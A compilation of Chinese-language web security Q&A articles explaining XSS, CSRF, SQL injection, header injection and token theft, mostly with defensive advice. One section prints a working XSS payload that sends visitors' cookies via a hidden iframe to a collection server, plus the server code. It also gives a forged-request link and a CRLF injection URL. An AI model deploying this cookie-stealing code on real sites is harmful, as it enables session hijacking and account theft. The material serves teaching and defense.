XSS与CSRF有什么区别吗？

XSS是获取信息，不需要提前知道其他用户页面的代码和数据包。CSRF是代替用户完成指定的动作，需要知道其他用户页面的代码和数据包。要完成一次CSRF攻击，受害者必须依次完成两个步骤：

登录受信任网站A，并在本地生成Cookie。

在不登出A的情况下，访问危险网站B。

CSRF的防御

服务端的CSRF方式方法很多样，但总的思想都是一致的，就是在客户端页面增加伪随机数。通过验证码的方法。

by三人行慕课

常见的漏洞类型有哪些？

一、SQL 注入漏洞

SQL 注入攻击（ SQL Injection ），简称注入攻击、SQL 注入，被广泛用于非法获取网站控制权， 是发生在应用程序的数据库层上的安全漏洞。在设计程序，忽略了对输入字符串中夹带的SQL 指令的检查，被数据库误认为是正常的SQL 指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。

通常情况下， SQL 注入的位置包括：

（1）表单提交，主要是POST 请求，也包括GET 请求；

（2）URL 参数提交，主要为GET 请求参数；

（3）Cookie 参数提交；

（4）HTTP 请求头部的一些可修改的值，比如Referer 、User_Agent 等；

（5）一些边缘的输入点，比如.mp3 文件的一些文件信息等。

SQL 注入的危害不仅体现在数据库层面上， 还有可能危及承载数据库的操作系统；如果SQL 注入被用来挂马，还可能用来传播恶意软件等，这些危害包括但不局限于：

（1）数据库信息泄漏：数据库中存放的用户的隐私信息的泄露。作为数据的存储中心，数据库里往往保存着各类的隐私信息， SQL 注入攻击能导致这些隐私信息透明于攻击者。

（2）网页篡改：通过操作数据库对特定网页进行篡改。

（3）网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击。

（4）数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被篡改。

（5）服务器被远程控制，被安装后门。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。

（6）破坏硬盘数据，瘫痪全系统。

解决SQL 注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有：

（1 ）所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL 语句中。当前几乎所有的数据库系统都提供了参数化SQL 语句执行接口，使用此接口可以非常有效的防止SQL 注入攻击。

（2 ）对进入数据库的特殊字符（ '"\*; 等）进行转义处理，或编码转换。

（3 ）确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为int 型。

（4）数据长度应该严格规定，能在一定程度上防止比较长的SQL 注入语句无法正确执行。

（5）网站每个数据层的编码统一，建议全部使用UTF-8 编码，上下层编码不一致有可能导致一些过滤模型被绕过。

（6）严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。

（7）避免网站显示SQL 错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。

（8）在网站发布之前建议使用一些专业的SQL 注入检测工具进行检测，及时修补这些SQL 注入漏洞。

二、跨站脚本漏洞

跨站脚本攻击（ Cross-site scripting ，通常简称为XSS）发生在客户端，可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。XSS 攻击使用到的技术主要为HTML 和Javascript ，也包括VBScript和ActionScript 等。XSS 攻击对WEB 服务器虽无直接危害，但是它借助网站进行传播，使网站的使用用户受到攻击，导致网站用户帐号被窃取，从而对网站也产生了较严重的危害。

XSS 类型包括：

（1）非持久型跨站： 即反射型跨站脚本漏洞， 是目前最普遍的跨站类型。跨站代码一般存在于链接中，请求这样的链接时，跨站代码经过服务端反射回来，这类跨站的代码不存储到服务端（比如数据库中）。上面章节所举的例子就是这类情况。

（2）持久型跨站：这是危害最直接的跨站类型，跨站代码存储于服务端（比如数据库中）。常见情况是某用户在论坛发贴，如果论坛没有过滤用户输入的Javascript 代码数据，就会导致其他浏览此贴的用户的浏览器会执行发贴人所嵌入的Javascript 代码。

（3）DOM 跨站（DOM XSS ）：是一种发生在客户端DOM （Document Object Model 文档对象模型）中的跨站漏洞，很大原因是因为客户端脚本处理逻辑导致的安全问题。

XSS 的危害包括：

（1）钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼JavaScript 以监控目标网站的表单输入，甚至发起基于DHTML 更高级的钓鱼攻击方式。

（2 ）网站挂马：跨站时利用IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。

（3）身份盗用： Cookie 是用户对于特定网站的身份验证标志， XSS 可以盗取到用户的Cookie ，从而利用该Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie 被窃取，将会对网站引发巨大的危害。

（4）盗取网站用户信息：当能够窃取到用户Cookie 从而获取到用户身份使，攻击者可以获取到用户对网站的操作权限，从而查看用户隐私信息。

（5）垃圾信息发送：比如在SNS 社区中，利用XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

（6）劫持用户Web 行为：一些高级的XSS 攻击甚至可以劫持用户的Web 行为，监视用户的浏览历史，发送与接收的数据等等。

（7）XSS 蠕虫：XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS 攻击等。

常用的防止XSS 技术包括：

（1）与SQL 注入防护的建议一样，假定所有输入都是可疑的，必须对所有输入中的script 、iframe 等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口，也包括HTTP 请求中的Cookie 中的变量， HTTP 请求头部中的变量等。

（2 ）不仅要验证数据的类型，还要验证其格式、长度、范围和内容。

（3）不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。

（ 4）对输出的数据也要检查， 数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。

（5）在发布应用程序之前测试所有已知的威胁。

三、弱口令漏洞

弱口令(weak password) 没有严格和准确的定义，通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。设置密码通常遵循以下原则：

（1）不使用空口令或系统缺省的口令，这些口令众所周之，为典型的弱口令。

（2）口令长度不小于8 个字符。

（3）口令不应该为连续的某个字符（例如： AAAAAAAA ）或重复某些字符的组合（例如： tzf.tzf. ）。

（4）口令应该为以下四类字符的组合，大写字母(A-Z) 、小写字母(a-z) 、数字(0-9) 和特殊字符。每类字符至少包含一个。如果某类字符只包含一个，那么该字符不应为首字符或尾字符。

（5）口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等与本人有关的信息，以及字典中的单词。

（6）口令不应该为用数字或符号代替某些字母的单词。

（7）口令应该易记且可以快速输入，防止他人从你身后很容易看到你的输入。

（8）至少90 天内更换一次口令，防止未被发现的入侵者继续使用该口令。

四、HTTP 报头追踪漏洞

HTTP/1.1 （RFC2616 ）规范定义了HTTP TRACE 方法，主要是用于客户端通过向Web 服务器提交TRACE 请求来进行测试或获得诊断信息。当Web 服务器启用TRACE 时，提交的请求头会在服务器响应的内容（Body ）中完整的返回，其中HTTP 头很可能包括Session Token 、Cookies 或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE 请求可以通过客户浏览器脚本发起（如XMLHttpRequest ），并可以通过DOM 接口来访问，因此很容易被攻击者利用。防御HTTP 报头追踪漏洞的方法通常禁用HTTP TRACE 方法。

五、Struts2 远程命令执行漏洞

Apache Struts 是一款建立Java web 应用程序的开放源代码架构。Apache Struts 存在一个输入过滤错误，如果遇到转换错误可被利用注入和执行任意Java 代码。网站存在远程代码执行漏洞的大部分原因是由于网站采用了Apache Struts Xwork 作为网站应用框架，由于该软件存在远程代码执高危漏洞，导致网站面临安全风险。CNVD 处置过诸多此类漏洞，例如：“ GPS 车载卫星定位系统”网站存在远程命令执行漏洞(CNVD-2012-13934) ；Aspcms 留言本远程代码执行漏洞（ CNVD-2012-11590 ）等。

修复此类漏洞，只需到Apache 官网升级Apache Struts 到最新版本

六、框架钓鱼漏洞（框架注入漏洞）

框架注入攻击是针对Internet Explorer 5 、Internet Explorer 6 、与Internet Explorer 7 攻击的一种。这种攻击导致Internet Explorer 不检查结果框架的目的网站，因而允许任意代码像Javascript 或者VBScript 跨框架存取。这种攻击也发生在代码透过多框架注入，肇因于脚本并不确认来自多框架的输入。这种其他形式的框架注入会影响所有的不确认不受信任输入的各厂商浏览器和脚本。如果应用程序不要求不同的框架互相通信，就可以通过完全删除框架名称、使用匿名框架防止框架注入。但是，因为应用程序通常都要求框架之间相互通信，因此这种方法并不可行。因此，通常使用命名框架，但在每个会话中使用不同的框架，并且使用无法预测的名称。一种可行的方法是在每个基本的框架名称后附加用户的会话令牌，如main_display 。

七、文件上传漏洞

文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的，如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，攻击者可通过Web 访问的目录上传任意文件，包括网站后门文件（ webshell ），进而远程控制网站服务器。因此，在开发网站及应用程序过程中，需严格限制和校验上传的文件，禁止上传恶意代码的文件。同时限制相关目录的执行权限，防范webshell 攻击。

八、应用程序测试脚本泄露

由于测试脚本对提交的参数数据缺少充分过滤，远程攻击者可以利用洞以WEB 进程权限在系统上查看任意文件内容。防御此类漏洞通常需严格过滤提交的数据，有效检测攻击。

九、私有IP 地址泄露漏洞

IP 地址是网络用户的重要标示，是攻击者进行攻击前需要了解的。获取的方法较多，攻击者也会因不同的网络情况采取不同的方法，如：在局域网内使用Ping 指令， Ping 对方在网络中的名称而获得IP；在Internet 上使用IP 版的QQ直接显示。最有效的办法是截获并分析对方的网络数据包。攻击者可以找到并直接通过软件解析截获后的数据包的IP 包头信息，再根据这些信息了解具体的IP。针对最有效的“数据包分析方法”而言，就可以安装能够自动去掉发送数据包包头IP 信息的一些软件。不过使用这些软件有些缺点， 譬如：耗费资源严重，降低计算机性能；访问一些论坛或者网站时会受影响；不适合网吧用户使用等等。现在的个人用户采用最普及隐藏IP 的方法应该是使用代理，由于使用代理服务器后，“转址服务”会对发送出去的数据包有所修改，致使“数据包分析”的方法失效。一些容易泄漏用户IP 的网络软件(QQ 、MSN 、IE 等)都支持使用代理方式连接Internet ，特别是QQ 使用“ ezProxy ”等代理软件连接后， IP 版的QQ 都无法显示该IP 地址。虽然代理可以有效地隐藏用户IP，但攻击者亦可以绕过代理， 查找到对方的真实IP 地址，用户在何种情况下使用何种方法隐藏IP，也要因情况而论。

十、未加密登录请求

由于Web 配置不安全， 登陆请求把诸如用户名和密码等敏感字段未加密进行传输， 攻击者可以窃听网络以劫获这些敏感信息。建议进行例如SSH 等的加密后再传输。

十一、敏感信息泄露漏洞

SQL 注入、XSS、目录遍历、弱口令等均可导致敏感信息泄露，攻击者可以通过漏洞获得敏感信息。针对不同成因，防御方式不同。

前端安全方面有没有了解？xss和csrf如何攻防

在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。

XSS：脚本中的不速之客

XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：

1

2

3

while (true) {

alert("你关不掉我~");

}

也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

#!/usr/bin/env python

#-*- coding:utf-8 -*-

"""

跨站脚本注入的信息收集服务器

"""

import bottle

app = bottle.Bottle()

plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')

app.install(plugin)

@app.route('/myxss/')

def show(cookies, db):

SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'

try:

db.execute(SQL, cookies)

except:

pass

return ""

if __name__ == "__main__":

app.run()

然后在某一个页面的评论中注入这段代码：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

// 用 script type="text/javascript"/script 包起来放在评论中

(function(window, document) {

// 构造泄露信息用的 URL

var cookies = document.cookie;

var xssURIBase = "http://192.168.123.123/myxss/";

var xssURI = xssURIBase + window.encodeURI(cookies);

// 建立隐藏 iframe 用于通讯

var hideFrame = document.createElement("iframe");

hideFrame.height = 0;

hideFrame.width = 0;

hideFrame.style.display = "none";

hideFrame.src = xssURI;

// 开工

document.body.appendChild(hideFrame);

})(window, document);

于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。

正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。

真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。

现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。

另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。

CSRF：冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。

严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。

例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：

http://example.com/bbs/create_post.php?title=标题content=内容

那么，我只需要在论坛中发一帖，包含一链接：

http://example.com/bbs/create_post.php?title=我是脑残content=哈哈

只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。

如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。

比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。

首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。

接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：

虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。

在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。

第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。

无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。

如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。

通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。

过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。

总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。

app怎样防止token被盗取

token是个凭条，不过它比门票温柔多了，门票丢了重新花钱买，token丢了重新操作下认证一个就可以了，因此token丢失的代价是可以忍受的——前提是你别丢太频繁，要是让用户隔三差五就认证一次那就损失用户体验了。

客户端方面这个除非你有一个非常安全的办法，比如操作系统提供的隐私数据存储，那token肯定会存在泄露的问题。比如我拿到你的手机，把你的token拷出来，在过期之前就都可以以你的身份在别的地方登录。

解决这个问题的一个简单办法

1、在存储的时候把token进行对称加密存储，用时解开。

2、将请求URL、时间戳、token三者进行合并加盐签名，服务端校验有效性。

这两种办法的出发点都是：窃取你存储的数据较为容易，而反汇编你的程序hack你的加密解密和签名算法是比较难的。然而其实说难也不难，所以终究是防君子不防小人的做法。话说加密存储一个你要是被人扒开客户端看也不会被喷明文存储……

方法1它拿到存储的密文解不开、方法2它不知道你的签名算法和盐，两者可以结合食用。

但是如果token被人拷走，他自然也能植入到自己的手机里面，那到时候他的手机也可以以你的身份来用着，这你就瞎了。

于是可以提供一个让用户可以主动expire一个过去的token类似的机制，在被盗的时候能远程止损。

话说一个人连自己手机都保护不好还谈什么安全……

在网络层面上token明文传输的话会非常的危险，所以建议一定要使用HTTPS，并且把token放在post body里。

求帮助解决漏洞：CSRF跨站点请求伪造，十分

下面是CSRF的常见特性：

依靠用户标识危害网站

利用网站对用户标识的信任

欺骗用户的浏览器发送HTTP请求给目标站点

另外可以通过IMG标签会触发一个GET请求，可以利用它来实现CSRF攻击。

CSRF攻击依赖下面的假定：

攻击者了解受害者所在的站点

攻击者的目标站点具有持久化授权cookie或者受害者具有当前会话cookie

目标站点没有对用户在网站行为的第二授权

这里要说的解决办法是利用Token

以下信息来自：Sinesafe官方

Token，就是令牌，最大的特点就是随机性，不可预测。一般黑客或软件无法猜测出来。

那么，Token有什么作用？又是什么原理呢？

Token一般用在两个地方:

1)防止表单重复提交、

2)anti csrf攻击（跨站点请求伪造）。

两者在原理上都是通过session token来实现的。当客户端请求页面时，服务器会生成一个随机数Token，并且将Token放置到session当中，然后将Token发给客户端（一般通过构造hidden表单）。下次客户端提交请求时，Token会随着表单一起提交到服务器端。

然后，如果应用于“anti csrf攻击”，则服务器端会对Token值进行验证，判断是否和session中的Token值相等，若相等，则可以证明请求有效，不是伪造的。

不过，如果应用于“防止表单重复提交”，服务器端第一次验证相同过后，会将session中的Token值更新下，若用户重复提交，第二次的验证判断将失败，因为用户提交的表单中的Token没变，但服务器端session中Token已经改变了。

上面的session应用相对安全，但也叫繁琐，同时当多页面多请求时，必须采用多Token同时生成的方法，这样占用更多资源，执行效率会降低。因此，也可用cookie存储验证信息的方法来代替session Token。比如，应对“重复提交”时，当第一次提交后便把已经提交的信息写到cookie中，当第二次提交时，由于cookie已经有提交记录，因此第二次提交会失败。

不过，cookie存储有个致命弱点，如果cookie被劫持（xss攻击很容易得到用户cookie），那么又一次gameover。黑客将直接实现csrf攻击。

所以，安全和高效相对的。具体问题具体对待吧。

也可以通过安全公司来解决，国内也就Sinesafe和绿盟等安全公司比较专业.

网站受到了XSS攻击，有什么办法？

一.跨站脚本攻击(XSS)

  跨站脚本攻击（XSS，Cross-site scripting）是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时，特定的脚本就会以浏览者用 户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息，以及造成其它类型的攻击，例如CSRF攻击

   常见解决办法:确保输出到HTML页面的数据以HTML的方式被转义

    出错的页面的漏洞也可能造成XSS攻击.比如页面/gift/giftList.htm?page=2找不到,出错页面直接把该url原样输出,如果攻击者在url后面加上攻击代码发给受害者,就有可能出现XSS攻击

二. 跨站请求伪造攻击（CSRF)

   跨站请求伪造（CSRF，Cross-site request forgery）是另一种常见的攻击。攻击者通过各种方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据，或者执行特定任务的目的。为了 假冒用户的身份，CSRF攻击常常和XSS攻击配合起来做，但也可以通过其它手段，例如诱使用户点击一个包含攻击的链接

  解决的思路有:

    1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难，攻击者往往需要借助javascript才能实现

    2.对请求进行认证，确保该请求确实是用户本人填写表单并提交的，而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人

三.Http Heads攻击

 凡是用浏览器查看任何WEB网站，无论你的WEB网站采用何种技术和框架，都用到了HTTP协议.HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到 headers中，这种攻击就可以发生

 以登陆为例:有这样一个url:

http://www.lyyha.com/login?page=http%3A%2F%2Flocalhost%2Findex

当登录成功以后，需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.

HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://www.lyyha.com/index

假如把URL修改一下，变成这个样子：

http://www.lyyha.com/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E

那么重定向发生时的reponse会变成下面的样子：

HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://www.lyyha.com/checkoutCRLF

CRLF

scriptalert('hello')/script

    这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向（Location header）上，也有可能发生在其它headers中，如Set-Cookie header。这种攻击如果成功的话，可以做很多事，例如：执行脚本、设置额外的cookie（CRLFSet-Cookie: evil=value）等。

   避免这种攻击的方法，就是过滤所有的response headers，除去header中出现的非法字符，尤其是CRLF。

    服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K，Aapche Server将会返回400 Bad Request响应：

    对于大多数情况，8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害 者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写，减少因header过大而产生的拒绝访问攻击

四.Cookie攻击

    通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站，然后在浏览器地址栏中输 入：javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie（如果有的话）。攻击者可以利用这个特 性来取得你的关键信息。例如，和XSS攻击相配合，攻击者在你的浏览器上执行特定的Java Script脚本，取得你的cookie。假设这个网站仅依赖cookie来验证用户身份，那么攻击者就可以假冒你的身份来做一些事情。

